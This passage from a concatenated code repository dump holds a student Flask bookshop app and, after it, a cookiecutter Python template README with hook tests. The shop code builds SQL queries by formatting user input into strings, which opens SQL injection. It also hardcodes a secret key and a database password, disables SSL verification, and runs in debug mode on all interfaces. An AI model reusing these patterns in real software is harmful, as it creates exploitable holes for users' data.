_id):\n\t\t\"\"\"\n\t\t\"\"\"\n\t\tquery = \"\"\"SELECT Images.image_id, Images.name, Images.short_name,\\\n\t\t Images.path, ImageTypes.image_type_id, ImageTypes.desciption FROM\\\n\t\t ProductImages LEFT JOIN Images ON ProductImages.image_id = Images.image_id\\\n\t\t LEFT JOIN ImageTypes ON Images.image_type_id = ImageTypes.image_type_id WHERE\\\n\t\t ProductImages.product_id = {0}\"\"\".format(_id)\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\timages = self._cur.fetchall()\n\t\tres = []\n\t\tfor i in images:\n\t\t\ttype_image = ImageType(i[4], i[5])\n\t\t\timage = ImageGoods(i[0], i[1], i[2], i[3], type_image)\n\t\t\tres.append(image)\n\t\treturn res\n\n\n\t@try_except\n\t@commit\n\tdef get_token(self, user_id):\n\t\t\"\"\"\n\t\tсоздание токена, запись в БД\n\t\t\"\"\"\n\t\ttoken = str(uuid.uuid1())\n\t\tquery = \"\"\"CALL CreateToken(\"{0}\", \"{1}\")\"\"\".format(token, user_id)\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\treturn token, datetime.now().strftime(\"%d.%m.%y %H:%M:%S\")\n\n\t@try_except\n\tdef get_create_date_token(self, token):\n\t\t\"\"\"\n\t\tполучение даты создания токена по токену\n\t\t\"\"\"\n\t\tquery = \"\"\"SELECT token FROM ValidateAdmin WHERE token = '{0}'\"\"\".format(token)\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\treturn self._cur.fetchall()[0]\n\n\t@try_except\n\tdef is_valid_token(self, token):\n\t\t\"\"\"\n\t\tпроверяет наличие токена в БД\n\t\t\"\"\"\n\t\tquery = \"\"\"SELECT * FROM ValidateAdmin WHERE token = '{0}'\"\"\".format(token)\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\tif len(self._cur.fetchall()) > 0:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\t@try_except\n\t@valid_admin\n\t@commit\n\tdef delete_categories(self, category_id):\n\t\t\"\"\"\n\t\tудаление категории по id\n\t\t\"\"\"\n\t\tquery = \"delete from Categories where category_id = '{0}'\".format(category_id)\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\n\t@try_except\n\t@valid_admin\n\t@commit\n\tdef create_categories(self, name, short_name):\n\t\t\"\"\"\n\t\tсоздание новой категории\n\t\tретурн: id созданной категории\n\t\t\"\"\"\n\t\tpname = 'sp_categories_01'\n\t\tid = None\n\t\targs = (id, name, short_name)\n\t\tstatus = self._cur.callproc(pname,args)\n\t\tid = self._cur.fetchone()\n\t\treturn id[0]\n\n\t@try_except\n\t@valid_admin\n\t@commit\n\tdef update_categories(self, id, name, short_name):\n\t\tpname = 'sp_categories_03'\n\t\targs = (id, name, short_name)\n\t\tstatus = self._cur.callproc(pname,args)\n\n\t@try_except\n\t@valid_admin\n\tdef get_map_language(self):\n\t\tquery = \"\"\"SELECT name FROM Languages\"\"\"\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\tres = []\n\t\tfor i in self._cur.fetchall():\n\t\t\tres.append(i[0])\n\t\treturn res\n\n\t@try_except\n\t@valid_admin\n\tdef get_map_manufacture(self):\n\t\tquery = \"\"\"SELECT name FROM Manufactures\"\"\"\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\tres = []\n\t\tfor i in self._cur.fetchall():\n\t\t\tres.append(i[0])\n\t\treturn res\n\n\t@try_except\n\t@valid_admin\n\tdef get_map_image_types(self):\n\t\tquery = \"\"\"SELECT desciption FROM ImageTypes\"\"\"\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\tres = []\n\t\tfor i in self._cur.fetchall():\n\t\t\tres.append(i[0])\n\t\treturn res\n\n\t@try_except\n\t@valid_admin\n\tdef get_map_category(self):\n\t\tquery = \"\"\"SELECT name FROM Categories\"\"\"\n\t\tlogger.info(query)\n\t\tself._cur.execute(query)\n\t\tres = []\n\t\tfor i in self._cur.fetchall():\n\t\t\tres.append(i[0])\n\t\treturn res\n" }, { "alpha_fraction": 0.6444166302680969, "alphanum_fraction": 0.6762620210647583, "avg_line_length": 37.45454406738281, "blob_id": "9d19693ae5fbf66f0d7a3b2ea960c064881ecd61", "content_id": "5c213d020c5c30c8d1ef790b721c4e7e63332640", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7492, "license_type": "no_license", "max_line_length": 284, "num_lines": 187, "path": "/start.py", "repo_name": "NataliaLerner/StudyAppShop", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, session, redirect, url_for, request\nfrom flask_uploads import UploadSet, configure_uploads, IMAGES\nfrom datetime import datetime\n\nfrom core import ListBooks, Category, User, Goods\nfrom core import DbApi\nfrom core import OAuthSignIn, GoogleSignIn\nfrom core import DEFAULT_ADDRES\nimport json\nimport ast\n\n\nimport os, ssl\n\nif (not os.environ.get('PYTHONHTTPSVERIFY', '') and\n getattr(ssl, '_create_unverified_context', None)):\n ssl._create_default_https_context = ssl._create_unverified_context\n\napp = Flask(__name__)\napp.secret_key = '5e8d527e-7dc4-4be5-8364-44ae3dcb43d0'\nphotos = UploadSet('photos', IMAGES)\n\napp.config['UPLOADED_PHOTOS_DEST'] = 'static/img'\nconfigure_uploads(app, photos)\n\[email protected]('/')\ndef index():\n session['shopping'] = {'1':[],'2':[]}\n return render_template('index.html', show = False)\n\[email protected]('/contacts')\ndef contacts():\n return render_template('contacts.html')\n\[email protected]('/basket')\ndef basket():\n return render_template('basket.html', e1=0)\n\[email protected]('/get_token')\ndef test():\n global db\n if ('user' in session.keys()):\n then = datetime.strptime(session['token_datatime'], \"%d.%m.%y %H:%M:%S\")\n data = datetime.now() - then\n if data.seconds > 900:\n session['token_user'], session['token_datatime'] = db.get_token(session['user']['_id'])\n print(session['token_user'], session['token_datatime'])\n return \"\"\n\[email protected]('/shop')\ndef shop():\n books = [\n ListBooks(id=1,link_icon=\"https://s4-goods.ozstatic.by/480/157/104/104157_0_Kompyuternie_seti_Endryu_Tanenbaum.jpg\", name=\"Компьютерные сети1\", author=\"Таненбаум\", description=\"blablabla\", price=\"123\", quantity=\"15\", year=\"1812\", category=\"Фантастика\"),\n ListBooks(id=2,link_icon=\"https://s4-goods.ozstatic.by/480/157/104/104157_0_Kompyuternie_seti_Endryu_Tanenbaum.jpg\", name=\"Компьютерные сети2\", author=\"Таненбаум\", description=\"фартук в масле оливье\", price=\"262\", quantity=\"88\", year=\"1990\", category=\"Поэзия\"),\n ListBooks(id=3,link_icon=\"https://s4-goods.ozstatic.by/480/157/104/104157_0_Kompyuternie_seti_Endryu_Tanenbaum.jpg\", name=\"Компьютерные сети3\", author=\"Таненбаум\", description=\"овадлдчижрии\", price=\"3446\", quantity=\"34754\", year=\"2002\", category=\"Детские\"),\n ListBooks(id=4,link_icon=\"https://s4-goods.ozstatic.by/480/157/104/104157_0_Kompyuternie_seti_Endryu_Tanenbaum.jpg\", name=\"Компьютерные сети4\", author=\"Таненбаум\", description=\"Мы идем в тишине по убитой весне\", price=\"46\", quantity=\"1\", year=\"1492\", category=\"Приключения\"),\n ListBooks(id=5,link_icon=\"https://s4-goods.ozstatic.by/480/157/104/104157_0_Kompyuternie_seti_Endryu_Tanenbaum.jpg\", name=\"Компьютерные сети5\", author=\"Таненбаум\", description=\"Во имя Костикова, ИП и святого Романенкова\", price=\"666\", quantity=\"15\", year=\"1\", category=\"Религия\"),\n ListBooks(id=6,link_icon=\"https://s4-goods.ozstatic.by/480/157/104/104157_0_Kompyuternie_seti_Endryu_Tanenbaum.jpg\", name=\"Компьютерные сети6\", author=\"Таненбаум\", description=\"Самосвал песка\", price=\"1488\", quantity=\"15\", year=\"2020\", category=\"Хоррор\"),\n\n ]\n count_shop = len(session['shopping'])\n return render_template('shop.html', count_shop = count_shop, books=books)\n\[email protected]('/admin')\ndef admin():\n return render_template('admin.html')\n\[email protected]('/order_management')\ndef order_management():\n #global db\n return render_template('order_management.html')\n\[email protected]('/category_management')\ndef category_management():\n global db\n c = db.get_categories(\"\")\n return render_template('category_management.html', categories = json.dumps(Category.ToMap(c), indent=4))\n\[email protected]('/management_of_goods')\ndef management_of_goods():\n global db\n g = db.get_goods()\n js = Goods.ToMap(g)\n l = db.get_map_language()\n m = db.get_map_manufacture()\n c = db.get_map_category()\n i_t = db.get_map_image_types()\n print(l)\n return render_template('management_of_goods.html', goods = json.dumps(js, indent=4), \\\n language = json.dumps(l, indent=4), manufacture = json.dumps(m, indent=4),\n category = json.dumps(c, indent=4), image_types = json.dumps(i_t, indent=4))\n\[email protected]('/upload', methods=['POST'])\ndef upload():\n print(request.files)\n if request.method == 'POST' and 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n print(DEFAULT_ADDRES + \"/static/img/\" + filename)\n return DEFAULT_ADDRES + \"/static/img/\"\n \[email protected]('/admin/api/categories/create', methods=['POST'])\ndef create_category():\n global db\n name = request.json[0]['name']\n short_name = request.json[1]['short_name']\n id = db.create_categories(name, short_name)\n return json.dumps({'category_id': id}), 200\n\[email protected]('/admin/api/categories/update', methods=['POST'])\ndef update_category():\n global db\n id = request.json[0]['category_id']\n name = request.json[1]['name']\n short_name = request.json[2]['short_name']\n db.update_categories(id, name, short_name)\n return json.dumps({'result': True})\n\[email protected]('/admin/api/categories/delete', methods=['POST'])\ndef delete_category():\n global db\n category_id = request.json['category_id']\n r = db.delete_categories(category_id)\n return json.dumps({'result': True})\n\[email protected]('/users_management')\ndef users_management():\n global db\n u = db.get_users()\n return render_template('users_management.html', users = json.dumps(User.ToMap(u), indent=4))\n\[email protected]('/admin/api/users/update', methods=['POST'])\ndef update_user():\n global db\n id = request.json[0]['user_id']\n access = request.json[1]['access_level']\n u = db.update_user(id, access)\n return json.dumps({'result': True})\n\n\[email protected]('/admin/api/users/delete', methods=['POST'])\ndef delete_user():\n global db\n user_id = request.json['user_id']\n r = db.delete_user(user_id)\n return json.dumps({'result': True})\n\n\[email protected]('/authorize/<provider>')\ndef oauth_authorize(provider):\n oauth = OAuthSignIn.get_provider(provider)\n return oauth.authorize()\n\[email protected]('/callback/<provider>')\ndef oauth_callback(provider):\n global db\n oauth = OAuthSignIn.get_provider(provider)\n username, email = oauth.callback()\n user = db.get_user(username, email)\n session['user'] = user.__dict__\n session['token_user'], session['token_datatime'] = db.get_token(session['user']['_id'])\n return redirect('/')\n\[email protected]('/logout')\ndef logout():\n if 'user' in session.keys():\n session.pop('user')\n return redirect('/')\n\[email protected]('/show_info_card', methods=['GET'])\ndef show_info_card():\n print(request.args.get('show'))\n return redirect('/')#render_template('index.html', show = True if request.args.get('show') == 'False' else False)\n\[email protected]('/book/<int:bookid>/<string:bookname>')\ndef bookinfo(bookid, bookname):\n #select from db where id=bookid\n bbb = books[bookid-1]\n return render_template('bookinfo.html', book = bbb)\n\[email protected](404)\ndef pagenotfound(error):\n return render_template('error404.html'), 404\n\nif __name__ == '__main__':\n\n db = DbApi()\n app.run(host=\"0.0.0.0\", debug=True, port = 8080)\n" }, { "alpha_fraction": 0.6781940460205078, "alphanum_fraction": 0.6781940460205078, "avg_line_length": 22.133333206176758, "blob_id": "5418c567b03ebf084cf5d54ad7746c0e086fa496", "content_id": "e1852a4988101da87402c0cce9c92813e588d2b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1041, "license_type": "no_license", "max_line_length": 93, "num_lines": 45, "path": "/core/config.py", "repo_name": "NataliaLerner/StudyAppShop", "src_encoding": "UTF-8", "text": "import configparser\n\nclass DbSettings:\n\t_ini_file_name = ''\n\t_config = None\n\n\tdef __init__(self, ini_file_name = './settings/db_settings.ini'):\n\t\tself._ini_file_name = ini_file_name\n\t\tself.load_ini_file()\n\n\tdef load_ini_file(self):\n\t\tself._config = configparser.ConfigParser()\n\t\tself._config.read(self._ini_file_name)\n\n\tdef save_ini_file(self):\n\t\twith open(self._ini_file_name, 'w') as configfile:\n\t\t\tself._config.write(configfile)\n\n\t@property\n\tdef user_name(self):\n\t\treturn self._config['DB_SETTINGS']['user_name']\n\n\t@property\n\tdef password(self):\n\t\treturn self._config['DB_SETTINGS']['password']\n\n\t@property\n\tdef host_name(self):\n\t\treturn self._config['DB_SETTINGS']['host_name']\n\n\t@property\n\tdef db_name(self):\n\t\treturn self._config['DB_SETTINGS']['db_name']\n\n\t@property\n\tdef ini_file_name(self):\n\t\treturn self._ini_file_name\n\n\t@property\n\tdef port(self):\n\t\treturn int(self._config['DB_SETTINGS']['port'])\n\n\t@property\n\tdef full_host_name(self):\n\t\treturn self._config['DB_SETTINGS']['host_name'] + ':' + self._config['DB_SETTINGS']['port']\n" }, { "alpha_fraction": 0.7264957427978516, "alphanum_fraction": 0.7606837749481201, "avg_line_length": 18.66666603088379, "blob_id": "9f7f7e2b7f500e98fa9bf0a299e98d7c695bc965", "content_id": "13afd3cf5d95a7f071e4d3217057b8f784da70d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 117, "license_type": "no_license", "max_line_length": 24, "num_lines": 6, "path": "/settings/db_settings.ini", "repo_name": "NataliaLerner/StudyAppShop", "src_encoding": "UTF-8", "text": "[DB_SETTINGS]\nuser_name = studyappshop\npassword = 123123321\nhost_name = localhost\ndb_name = studyappshop\nport = 3306" }, { "alpha_fraction": 0.7422434091567993, "alphanum_fraction": 0.7422434091567993, "avg_line_length": 58.71428680419922, "blob_id": "a074467052cdde6dc32ab17f40d1024a72fe7c3d", "content_id": "792f1c6bd35b0ea2d417af3ddae7fe46cfd6c035", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 419, "license_type": "no_license", "max_line_length": 130, "num_lines": 7, "path": "/core/__init__.py", "repo_name": "NataliaLerner/StudyAppShop", "src_encoding": "UTF-8", "text": "__all__ = [\"DbSettings\", \"DbApi\", \"ListBooks\", \"OAuthSignIn\", \"GoogleSignIn\", \"AccessLevel\", \"User\", \"Category\",\\\n \"ImageType\", \"ImageGoods\", \"Language\", \"Manufacture\", \"Goods\"]\n\nfrom .config import DbSettings\nfrom .db_api import DbApi\nfrom .base_type import ListBooks, AccessLevel, User, Category, ImageType, ImageGoods, Language, Manufacture, Goods, DEFAULT_ADDRES\nfrom .google_auth import OAuthSignIn, GoogleSignIn\n\n" }, { "alpha_fraction": 0.8131868243217468, "alphanum_fraction": 0.8131868243217468, "avg_line_length": 21.75, "blob_id": "c8036ff32d65647c9b5ff555cee07f47e727b4e2", "content_id": "2bbcf3e4bed37cb1a9df1ed2d8d5eb27cc51fdc5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 91, "license_type": "no_license", "max_line_length": 52, "num_lines": 4, "path": "/core/log.py", "repo_name": "NataliaLerner/StudyAppShop", "src_encoding": "UTF-8", "text": "import logging\nimport logging.config\n\nlogging.config.fileConfig('./settings/logging.conf')\n" }, { "alpha_fraction": 0.5388349294662476, "alphanum_fraction": 0.5388349294662476, "avg_line_length": 22.80769157409668, "blob_id": "d16c0428fac4794a347f7745a48a10e2a740c98c", "content_id": "411380a40fc02a53aef77031214a41c45b873b0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 618, "license_type": "no_license", "max_line_length": 57, "num_lines": 26, "path": "/static/ServiceHelper.js", "repo_name": "NataliaLerner/StudyAppShop", "src_encoding": "UTF-8", "text": "function sendJsonAndGetTextFromService(url, data, type) {\n return $.ajax({\n type: type,\n url: url,\n data: JSON.stringify(data),\n contentType: \"application/json\",\n dataType: 'json',\n async: false,\n success:function (data) {\n return data;\n }\n }).responseText;\n}\n\nfunction sendTextAndGetTextFromService(url, data, type) {\n return $.ajax({\n type: type,\n url: url,\n data: data,\n contentType: \"text/plain\",\n async: false,\n success:function (data) {\n return data;\n }\n }).responseText;\n}" }, { "alpha_fraction": 0.6061526536941528, "alphanum_fraction": 0.6114698052406311, "avg_line_length": 23.727699279785156, "blob_id": "05837a4f909f40e897ddff6c6f13ae8e1eedda2e", "content_id": "8c2ec542f3ea0dcc9d4936524338a10f362c97f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5266, "license_type": "no_license", "max_line_length": 123, "num_lines": 213, "path": "/core/base_type.py", "repo_name": "NataliaLerner/StudyAppShop", "src_encoding": "UTF-8", "text": "from collections import namedtuple\nfrom enum import IntEnum\n\nDEFAULT_ADDRES = \"http://127.0.0.1:3306\"\n\nListBooks = namedtuple('listBooks', 'id link_icon name author description price quantity year category')\nCategoryNT = namedtuple('categories', 'category_id name short_name')\nUserNT = namedtuple('users', 'user_id name e_mail number_phone access_level')\n\nclass AccessLevel(IntEnum):\n\tADMIN = 0\n\tUSER = 1\n\nclass User:\n\t_id = None\n\t_user_name = None\n\t_e_mail = None\n\t_number_phone = None\n\t_access_level = AccessLevel.USER\n\n\tdef __init__(self, id_ , user_name, e_mail, number_phone, access_level = AccessLevel.USER):\n\t\tself._id = id_\n\t\tself._user_name = user_name\n\t\tself._e_mail = e_mail\n\t\tself._number_phone = number_phone\n\t\tself._access_level = access_level\n\n\tdef __str__(self):\n\t\treturn \"User: id={0} , user_name={1} , e_mail={2} , number_phone={3} , access_level={4}\".format(\n\t\t\tself._id, self._user_name, self._e_mail, self._number_phone, self._access_level)\n\n\tdef ToListUsersNT(users):\n\t\tres = []\n\t\tfor user in users:\n\t\t\tres.append(UserNT(user_id = user[0], name = user[1], e_mail = user[2], number_phone = user[3], access_level = user[4]))\n\t\treturn res\n\n\tdef ToMap(users):\n\t\treturn [{'user_id': k, 'name': v, 'e_mail': e,'number_phone': u, 'access_level': l} for k, v, e, u, l in users]\n\n\nclass Book:\n\t__id = None\n\t__descr = None\n\n\tdef __init__(self):\n\t\tpass\n\n\tdef toListBooks(self):\n\t\tpass\n\nclass Goods:\n\t_id \t\t\t= None\n\t_full_name \t\t= None\n\t_short_name \t= None\n\t_descr \t\t\t= None\n\t_price \t\t\t= None\n\t_available \t\t= False\n\t_count \t\t\t= None\n\t_year \t\t\t= None\n\t_language \t\t= None\n\t_manufacture \t= None\n\t_category \t\t= None\n\t_images \t\t= []\n\n\tdef __init__(self, _id, full_name, short_name, descr, price, available, count, year, \n\t\tlanguage, manufacture, category, images = []):\n\t\tself._id \t\t\t= _id\n\t\tself._full_name \t= full_name\n\t\tself._short_name \t= short_name\n\t\tself._descr \t\t= descr\n\t\tself._price \t\t= price\n\t\tself._available \t= available\n\t\tself._count \t\t= count\n\t\tself._year \t\t\t= year\n\t\tself._language \t\t= language\n\t\tself._manufacture \t= manufacture\n\t\tself._category \t\t= category\n\t\tself._images \t\t= images\n\n\tdef to_dict(self):\n\t\tres = {}\n\t\tres['_id'] \t\t\t= self._id\n\t\tres['_full_name'] \t= self._full_name\n\t\tres['_short_name'] \t= self._short_name\n\t\tres['_descr'] \t\t= self._descr\n\t\tres['_price'] \t\t= self._price\n\t\tres['_available'] \t= self._available\n\t\tres['_count'] \t\t= self._count\n\t\tres['_year'] \t\t= self._year\n\t\tres['_language'] \t= self._language.to_dict()\n\t\tres['_manufacture'] = self._manufacture.to_dict()\n\t\tres['_category'] \t= self._category.to_dict()\n\t\tres['_images'] \t\t= []\n\t\tfor i in self._images:\n\t\t\tres['_images'].append(i.to_dict())\n\t\treturn res\n\t\t#res = self.__dict__\n\t\t#print(self._language)\n\t\t#res['_language'] = self._language.__dict__\n\t\t#res['_manufacture'] = self._manufacture.__dict__\n\t\t#res['_category'] = self._category.__dict__\n\t\t#for i in range(len(res['_images'])):\n\t\t#\tres['_images'][i] = self._images[i].__dict__\n\t\t#\tres['_images'][i]['_image_type'] = self._images[i]['_image_type'].__dict__\n\n\tdef ToMap(goods):\n\t\tfor i in goods:\n\t\t\tprint(i.to_dict())\n\t\treturn [ a.to_dict() for a in goods]\n\nclass Language:\n\t_id = None \n\t_name = None\n\t_short_name = None\n\n\tdef __init__(self, _id, name, short_name):\n\t\tself._id = _id\n\t\tself._name = name\n\t\tself._short_name = short_name\n\n\tdef to_dict(self):\n\t\tres = {}\n\t\tres['_id'] \t\t\t= self._id\n\t\tres['_name'] \t\t= self._name\n\t\tres['_short_name'] \t= self._short_name\n\t\treturn res\n\nclass Manufacture:\n\t_id = None \n\t_name = None\n\t_short_name = None\n\n\tdef __init__(self, _id, name, short_name):\n\t\tself._id = _id\n\t\tself._name = name\n\t\tself._short_name = short_name\n\n\tdef to_dict(self):\n\t\tres = {}\n\t\tres['_id'] \t\t\t= self._id\n\t\tres['_name'] \t\t= self._name\n\t\tres['_short_name'] \t= self._short_name\n\t\treturn res\n\nclass ImageGoods:\n\t_id = None\n\t_name = None\n\t_short_name = None\n\t_path = None\n\t_image_type = None\n\n\tdef __init__(self, _id, name, short_name, path, image_type):\n\t\tself._id = _id\n\t\tself._name = name\n\t\tself._short_name = short_name\n\t\tself._path = path\n\t\tself._image_type = image_type\n\n\tdef to_dict(self):\n\t\tres = {}\n\t\tres['_id'] \t\t\t= self._id\n\t\tres['_name'] \t\t= self._name\n\t\tres['_short_name'] \t= self._short_name\n\t\tres['_path'] \t\t= self._path\n\t\tres['_image_type'] \t= self._image_type.to_dict()\n\t\treturn res\n\nclass ImageType:\n\t_id = None\n\t_descr = None\n\n\tdef __init__(self, _id, descr):\n\t\tself._id = _id\n\t\tself._descr = descr\n\n\tdef to_dict(self):\n\t\tres = {}\n\t\tres['_id'] \t\t\t= self._id\n\t\tres['_descr'] \t\t= self._descr\n\t\treturn res\n\n\nclass Category:\n\n\t__category_id = None\n\t__name = None\n\t__short_name = None\n\n\tdef __init__(self, category_id, name, short_name):\n\t\tself.__id = category_id\n\t\tself.__name = name\n\t\tself.__short_name = short_name\n\n\tdef to_dict(self):\n\t\tres = {}\n\t\tres['_id'] \t\t\t= self.__id\n\t\tres['_name'] \t\t= self.__name\n\t\tres['_short_name'] \t= self.__short_name\n\t\treturn res\n\n\tdef ToListCategoryNT(categories):\n\t\tres = []\n\t\tfor category in categories:\n\t\t\tres.append(CategoryNT(category_id=category[0], name=category[1], short_name=category[2]))\n\t\treturn res\n\n\tdef ToMap(categories):\n\t\treturn [{'category_id': k, 'name': v, 'short_name': e} for k,v,e in categories]\n\n\tdef __str__(self):\n\t\treturn \"id={0} , name={1} , short_name={2}\".format(\n\t\t\tself.__category_id, self.__name, self.__short_name)" } ]
9
AirbnbDatascientest/airbnb
https://github.com/AirbnbDatascientest/airbnb
4da81d7177c9b06fa02006bbc1c25c0e0fad255c
bd269ab15a206e107b8e174d0e014e71fdb5f376
7b9d28dcd473212e4f98215ee19f5993010794af
refs/heads/main
2023-08-31T20:29:47.924536
2021-11-01T12:46:03
2021-11-01T12:46:03
423,443,333
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7745097875595093, "alphanum_fraction": 0.7745097875595093, "avg_line_length": 24.5, "blob_id": "a69a9369522c48a4bd7b13079ce7761743f03a6f", "content_id": "d75c434e54318bd19fb231bdc828ebcfe978ecc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 102, "license_type": "no_license", "max_line_length": 49, "num_lines": 4, "path": "/main.py", "repo_name": "AirbnbDatascientest/airbnb", "src_encoding": "UTF-8", "text": "import streamlit as st\n\nst.title(\"Hello streamlit\")\nst.subheader(\"Welcome to my first streamlit app\")\n" }, { "alpha_fraction": 0.8095238208770752, "alphanum_fraction": 0.8095238208770752, "avg_line_length": 30, "blob_id": "5b85c752f671bbfaa0f122f495b85fc6a6205a88", "content_id": "45e6c3a19cd0685907a79b7c38382fd45867c85e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 63, "license_type": "no_license", "max_line_length": 52, "num_lines": 2, "path": "/README.md", "repo_name": "AirbnbDatascientest/airbnb", "src_encoding": "UTF-8", "text": "# airbnb\nProjet Airbnb formation \"Data Analyst\" Datascientest \n" } ]
2
denzuko-forked/cookiecutter-python-goodstuff
https://github.com/denzuko-forked/cookiecutter-python-goodstuff
bb8bc53f8466bc6eac6bab908852ad1de86c4c9a
42a18545e2e850d9cbd21db95610170579f38a1d
726230ee66bc0094bd23ee8c9d119c70fe6b4335
refs/heads/master
2021-10-23T15:52:47.629898
2019-03-18T13:48:39
2019-03-18T13:48:39
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7517186403274536, "alphanum_fraction": 0.7525119185447693, "avg_line_length": 31.05084800720215, "blob_id": "154a6414b168b3c6f130595c7faf31e70b42cb04", "content_id": "df96b4dc86dde40304b599cee1f491318e8dc713", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3815, "license_type": "permissive", "max_line_length": 308, "num_lines": 118, "path": "/README.md", "repo_name": "denzuko-forked/cookiecutter-python-goodstuff", "src_encoding": "UTF-8", "text": "Python Goodstuff Cookiecutter\n=============================\n\nBootstrap your new Python 3 project using Cookiecutter! Start your new package with testing, linting, coverage reports, and automatic releases right out of the box.\n\n## Features 😎\n\n* (Optional) Type checking with either [MyPy](http://mypy-lang.org/) or [Pyre](https://pyre-check.org/) 🔥\n* No nonsense [Pytest](https://docs.pytest.org/en/latest/) configuration out of the box. 🎉\n* Test coverage reports generated by [CoveragePy](https://github.com/nedbat/coveragepy). 📃\n* [Pylint](https://www.pylint.org/) linter integrated with Pytest.\n* Create a command line tool for installation with `pip`.\n* (Optional) Support for Docker and containers. 🐳\n* (Optional) Makefile for PyPi/Docker releases, tests, and more (Currently *nix Only). 🐧\n\n\n## Get Started 🚀\n\nPython Goodstuff relies on [Cookiecutter](https://github.com/audreyr/cookiecutter); you will need it installed before you can start your new project!\n\nGenerating your new project is now as easy as one command:\n\n```bash\ncookiecutter gh:madelyneriksen/cookiecutter-python-goodstuff\n```\n\nAnswer the questions when prompted, and Cookiecutter will generate your new project. Congrats, that's it! Now you just need to install your project:\n\n```bash\ncd my-project\nvirtualenv .env\nsource .env/bin/activate\npip install -r requirements.dev.txt\npython setup.py install\n```\n\nOr, if you generated a Makefile and have GNU Make:\n\n```bash\ncd my-project\nmake test\n```\n\n## Testing Tools\n\nGoodstuff creates tests run by Pytest, an assert-based testing framework and alternative to `unittest`. On invoking `pytest`, Pylint and PyCoverage will also run against your codebase, checking your code style and generating a coverage report.\n\n**Tests with Virtualenv/venv**\n\nIf your environment is managed with `virtualenv` or `venv`, you can run your tests directly from the command line:\n\n```bash\nsource .env/bin/activate\npytest\n```\n\n**Tests with Make**\n\nWith the optional Makefile, your tests will be run with `make test`, _along with_ your choice of type checking:\n\n```bash\nmake test\n```\n\n## Command Line Interface\n\nIf you selected a command line interface option, Goodstuff will create a `bin/` folder with an executable named after your package:\n\n```\nbin/\n└── myproject\n```\n\nThis file creates a call to the `main` function in your package's `cli.py` file. Place all of your code and/or interfaces to be run into that `cli.py` function. When installed with `setup.py`, `pip`, or a tarball release, this script will automatically be added to your $PATH for usage from the command line.\n\n## Docker Support 🐳\n\nA Dockerfile for your project can be automatically created. Note that the generated Docker image assumes that you _also_ enabled a command line script:\n\n```Dockerfile\nFROM python:3.6-alpine\n\nWORKDIR /usr/src/awesome-project\n\nCOPY requirements.txt ./\nRUN pip install --no-cache-dir -r requirements.txt\n\nCOPY . .\nRUN python setup.py install\n\nCMD awesome_project\n```\n\nThe Dockerfile is based on an Alpine Linux base image 🌲. If you need glibc support, try the `debian-slim` images instead, which have fairly good compatibility without being too much larger than the Alpine images.\n\n## Makefile (*nix Only)\n\nIf you have `/bin/bash` on your system plus common *nix utilities, you can use the Makefile for running tests, installing requirements, or building packages.\n\n```bash\n# Run Tests\nmake test\n# Build a Release Package based on the version in VERSION\nmake build\n```\n\nThe Makefile also integrates with Docker, making it easy to keep your images up to date:\n\n```bash\n# Build the current image based on VERSION, as well as update the latest\nmake docker-build\n# Run the docker image\nmake docker-run\n```\n\n## License\n\nThis project is licensed under the terms of the [MIT License](/LICENSE)\n" }, { "alpha_fraction": 0.6282538771629333, "alphanum_fraction": 0.6300087571144104, "avg_line_length": 34.61458206176758, "blob_id": "733997c8cef898d4c77ffc833b7889d181e5a638", "content_id": "a046456c72f9e40de9070f33068eb079eb6611d9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3419, "license_type": "permissive", "max_line_length": 81, "num_lines": 96, "path": "/tests/test_hooks.py", "repo_name": "denzuko-forked/cookiecutter-python-goodstuff", "src_encoding": "UTF-8", "text": "\"\"\"Tests related to pre- and post-hook scripts.\"\"\"\n\n\nimport os\n\n\ndef test_cli_scripts_removed_in_hook(cookies):\n \"\"\"Test the removal of cli scripts in post script.\"\"\"\n result = cookies.bake(extra_context={\n \"package_name\": \"test_project\",\n \"package_slug\": \"test-project\",\n \"package_title\": \"Test Project\",\n \"package_short_description\": \"Short description.\",\n \"add_cli_script\": \"no\"\n })\n assert result.exit_code == 0\n assert not os.path.exists(result.project.join('test_project').join('cli.py'))\n assert not os.path.exists(result.project.join('bin').join('test_project'))\n\n\ndef test_cli_scripts_kept_when_requested(cookies):\n \"\"\"Test cli scripts are kept when requested.\"\"\"\n result = cookies.bake(extra_context={\n \"package_name\": \"test_project\",\n \"package_slug\": \"test-project\",\n \"package_title\": \"Test Project\",\n \"package_short_description\": \"Short description.\",\n \"add_cli_script\": \"yes\"\n })\n assert result.exit_code == 0\n assert os.path.exists(result.project.join('test_project').join('cli.py'))\n assert os.path.exists(result.project.join('bin').join('test_project'))\n\n\ndef test_dockerfile_removed_in_hook(cookies):\n \"\"\"Test the removal of Dockerfiles in the post script.\"\"\"\n result = cookies.bake(extra_context={\n \"package_name\": \"test_project\",\n \"package_slug\": \"test-project\",\n \"package_title\": \"Test Project\",\n \"package_short_description\": \"Short description.\",\n \"add_cli_script\": 